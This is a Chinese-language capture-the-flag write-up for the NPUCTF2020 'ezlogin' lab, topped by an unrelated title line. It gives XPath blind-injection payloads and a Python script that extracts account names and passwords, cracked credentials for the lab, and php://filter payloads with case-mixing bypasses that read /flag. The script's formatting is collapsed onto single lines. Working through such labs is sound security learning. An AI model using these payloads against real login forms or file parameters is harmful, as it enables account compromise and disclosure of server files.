国家建设部网站百度大数据查询怎么用
[NPUCTF2020]ezlogin
打开界面
如果发现自己输入的信息由这样构成,可以往xpath注入上靠一下。
不管输入什么,很容易发现登陆就超时了,说明这里token是不断刷新的。
这样构造也是一样的目的都是为了闭合后面的',为啥有两个or呢
username=' ' or count(/)=1 or 1='1 ' and password=1
false or true or true and false ,如果是两个 false or true and false 不就是false了吗
这条命令是判断根目录有几个结点,
通过不同的回显,这道题采用盲注的手段通过回显位来判断。
一、获取根目录名字
'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>
二、获取根目录上面的目录个数
依次类推就可以判断n次目录下面的 子目录
三、获取目录名字的长度
'or string-length(name(/*[1]))=4 or ' '='
这样xpath基本操作就都了解了
id: 'or substring(name(/root/accounts/user/*[1]), {}, 1)='{}' or ''=''or username: substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''=''or password: substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='
import requests
import re
import time
s = requests.session()
url ='http://50869d19-fe92-4610-9af0-a294499acdf9.node4.buuoj.cn:81/login.php'
head ={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):for j in strs:r = s.post(url=url)token = find.findall(r.text)#猜测根节点名称#payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#猜测子节点名称# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])## #猜测accounts的节点# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])## #猜测user节点#payload_4 ="<username>'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])## #跑用户名和密码# payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#print(payload_password)r = s.post(url=url,headers=head,data=payload_password)time.sleep(0.2)print(r.text)if "非法操作" in r.text:flag+=jprint(flag)breakif "用户名或密码错误!" in r.text:breakprint(flag)
一般都是md5存储数据的解密得到
adm1n
gtfly123 cf7414b5bdb2e65ee43083f4ddbc4d9f
有的时候会因为网络报错,加一个time.sleep就可以了。
进入后发现,file=可能有路径穿越漏洞,或者任意文件读取漏洞
然后下面base64解码得到,flag in /flag
直接用filter读取协议试一下
phP://filter/convert.bAse64-encode/resource=/flag
PHP://filter/string.toupper/resource=/flag 转换为大写都可以绕过